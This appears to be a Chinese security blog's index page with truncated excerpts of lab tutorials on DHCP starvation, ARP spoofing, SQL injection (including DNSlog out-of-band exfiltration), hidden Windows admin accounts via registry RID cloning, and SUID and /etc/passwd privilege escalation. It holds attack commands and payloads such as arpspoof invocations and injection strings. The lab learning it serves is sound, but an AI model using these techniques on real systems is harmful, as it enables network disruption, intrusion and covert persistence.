DHCP饿死攻击及防御(基于ENSP模拟器、Kali攻击机实现)
DHCP饿死攻击及防御(基于ENSP模拟器、Kali攻击机实现)拓扑图
实验需求
通过配置DHCP_Server,使得192.168.0.0/24子网内的终端能够自动获取IP地址及DNS
通过配置SW交换机,开启DHCP Snooping功能,用于保证DHCP客户端从合法的DHCP服务器获取IP地址
Kali攻击机接入192.168.0.0/24内网中,获取内网IP地址,使用两种DHCP攻击方式并抓包进行分析(Wireshark)
实验步骤0.准备工具dhcpstarv,yesinia
123apt-get install dhcpstarvapt-get install yesinia图形界面打不开
1.配置dhcp服务器
1234567891011121314"""R3配置"""int g0/0/0ip address 192.168.0.254 24qip pool 1network 192.168.0.0gateway-list 192.168.0.254dhcp enableint g0/0/ ...
ARP欺骗
ARP欺骗环境搭建
准备一台kali虚拟机
一台win靶机
工具下载安装arpspoof工具
1arpspoof #会提示安装,输入y安装
断网攻击kali:使用nmap或fping判断存活主机
12nmap -sP 192.168.x.*fping -asg 192.168.x.0/24
在本地查看当前网关
1cat /etc/resolv.conf
此时win虚拟机ping百度是可以ping通的
windows:
开始攻击1arpspoof -i 网卡[eth0] -t [目标ip] [网关]
观察目标主机
windows:已经ping不通百度了
原理:攻击机假冒局域网网关,致使主机上不了网
可以通过在攻击前后在windows上使用命令arp -a查看网关的MAC地址的变化
攻击前的网关的MAC就是网关的MAC地址
而攻击后的网关的MAC地址,即为攻击机的MAC地址
当执行断网攻击的时候,攻击机会冒充网关给靶机发送arp报文
ARP欺骗(不断网)1234cat /proc/sys/net/ipv4/ip_forward #查看echo /proc/sys/net/i ...
密码生成工具cupp和cewl安装
我们可以使用Cupp生成一份结合具体目标的带社工性质的字典,比如结合目标的手机号,姓名,生日等
下面我们就来安装
Cupp的安装与使用使用命令:apt-get install cupp
查看命令 :cupp
redis安装
最近想着复现一下redis系列的漏洞,自己先搭建个环境
我们来安装4.08版本
redis-4.0.8的安装下载地址:http://download.redis.io/releases/redis-4.0.8.tar.gz
我们安装到我们的kali虚拟机上
使用命令wget http://download.redis.io/releases/redis-4.0.8.tar.gz
解压下载的redis-4.0.8.tar.gz文件,使用命令 tar xvf redis-4.0.8.tar.gz
进入解压文件夹redis-4.0.8,使用命令make编译可执行文件
之后在此文件夹中使用命令 redis-server redis.conf来启动服务,如下图,默认端口为6379
可以使用ps -ef|grep redis来查看redis服务是否开启
redis后台启动当然此时,redis服务是在前台运行,需要一直”挂着“才行,这里可以修改配置文件redis.conf,改为后端启动,将daemonize no
改为daemonize yes
再次使用redis-server redi ...
墨者在线靶场-SQL注入漏洞测试(参数加密)
之前面试有出过一个这个类似的,现在复现一下
访问链接,发现一个登陆页面
先用dirsearch扫一下
挨个查看,最后发现news目录下的东西有些可疑
下载zip文件,可以看到list.php的源码
主要看php里的内容就好了,主要意思就是,list.php通过get请求获取一个id,并对其进行decodedecode函数里的内容就是,将参数data经过两次base64解密,然后经过mdecrypt_generic函数操作(通过英文可以大概知道是用来解密的函数),如果后六位是_mozhe就会返回除去 _mozhe的剩余部分,也就是接入sql语句。
目的也就明确了,就是sql盲注嘛,首先要搞清楚mcrypt_generic_init中几个参数的含义(应该就是对应的加密规则)
aes在线工具:AES加密、AES解密 - 在线工具 - OKTools
通过搜索发现是使用的AES加密,ydhaqPQnexoaDuW3是密钥,2018201920202021是参数。那么我们就先使用1_mozhe进行测试去进行aes加密+base64加密(这里使用的工具结果是经过一次base64加密的), ...
windows 隐藏账户排查
首先创建隐藏账户
此时使用net user并不能发现用户admin$
将admin$用户加入administrators组,使用命令net localgroup administrators admin$ /add
此时admin$用net user是查看不到的,但查看用户和组的时候还是可以看到
1查看命令:net localgroup administrators admin$ /add
所以需要修改注册表,win+r输入regedit进入注册表
进入到以下目录HKEY_LOCAL_MACHINE/SAM/SAM
右击,将权限转交给administrator
此时可以看到admin$,并发现其类型为0x3e9
,而administrator的类型为0x1f4
将admin$,000003E9,000001F4导出
将1f4中的F值复制给3e9
复制完之后,就回去把admin$给删掉,命令net user admin$ /del
然后回到注册表,将admin.reg 和 admin3e9.reg导入
导入成功
然后回去,将赋予administr ...
盲注快速获取数据
前段时间参加面试,面试官有问过一个问题,SQL注入中盲注如何快速获取数据。当时没有反应过来,后来百度了才发现,这不就是盲注使用dnslog外带数据么,尘封的记忆一下子就回想起来了,那是一个月黑风高的夜晚……咳咳,扯远了,总之就是没答上来,复盘吧!
环境复现我们使用sql-labs进行还原盲注的情形,就用Less-9吧
可以看到经过简单的注入点测试,发现页面上的东西不会发生改变
但是当payload为请求时间大概为6.02秒,说明存在注入点
此时我们需要一个dns平台,就使用ceye平台自带的吧 http://ceye.io/
或者是其他dns平台,比如dnslog
这两个这里都会演示一下
dnslog外带条件要使用dnslog外带首先需要满足几个条件:
1.首先要将secure_file_priv改为‘’
修改步骤:1.使用show variables like ‘%secure%’
2.进入MYSQL文件夹下,打开my.ini文件
3.在my.ini中,添加或修改为secure_file_priv=””
2,只适用于Windo ...
sql-labs less-7
sql注入之outfile发现之前学sql的时候,这一关觉得太麻烦就没怎么练所以今天查漏补缺一下
第一种方法:标准SQL注入流程
首先判断注入点
12payload:?id=1'报错:You have an error in your SQL syntax
发现这次连报错信息都不显示了,慢慢试吧
1234567891011payload:?id=1' or 1=1--+还是报错,说明有括号payload:?id=1') or 1=1--+还是报错,说明还有括号payload:?id=1')) or 1=1--+进来了,提示用outfile方法
我们需要知道写入文件的绝对路径从之前关卡得到@@datadir
123paylaod:?id=-1' union select 1,2,@@datadir--+回显:Your Password:C:\phpstudy\MySQL\data\
直接去第一关得到路径
12payload:?id=1')) order by 4--+报错:You have an error in ...
SUID提权
接上文sudo滥用提权,今天我们来学习suid提权
SUIDsuid是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行
这里就不得不再提一次关于Linux文件权限的理解:
Linux中每个文件和目录都有九位基础权限位,每三位组成一组分别为:文件类型,属主用户权限位,用户组权限位,其它用户权限
类似这样:drwxrwxrwx(加粗部分,第一位d为目录文件),其中
r为可读权限,对应数字4
w为可写权限,对应数字2
x为可执行权限,对应数字1
若没有以上权限则可用-代替,对应数字0
接下来就是我们今天要讲的suid位,当s出现在属主权限位的x权限位上时,就被称为Set UID 简称SUID
suid s对应数字4
s出现在属主权限x位上的作用:
1.SUID权限仅对二进制程序有效
2.执行者对于该文件需要有x(运行)权限
3.本权限仅在程序运行过程中有效
4.执行者将拥有文件所有者的权限
所以SUID提权的思路就是我们运行root用户所拥有的文件,那么我们运行该文件的时候就拥有root权限了,有点相似sudo滥用提权,都是利用拥有root权限的命令/ ...
利用passwd提权
初步整理完关于sudo滥用提权,开始整理一下关于配置错误/etc/passwd的利用
sudo滥用和这篇文章都参考这个大佬的: Linux提权方法总结_linux如何提权_山山而川’的博客-CSDN博客
1.先决条件及环境搭建要当前用户对/etc/passwd文件具有写的权限,找个靶机实验一下
ls -l /etc/passwd查看一下当前权限,说明已经修改为所有用户都具有w即写的权限
接下来我们就看一下/etc/passwd中所表示的信息,以下面的语句为例:
1root:x:0:0:root:/root:/bin/bash
root为登录用户名 x为密码(加过密的) 0为用户UID 0为用户组id GID root为用户备注信息 /root为用户home目录 /bin/bash用户默认的bash
因此我们需要的就是对/etc/passwd进行写入
我们要构造一个用户,密码为我们设定的密码(带盐值),并且UID设置为0
使用命令
1perl -le ...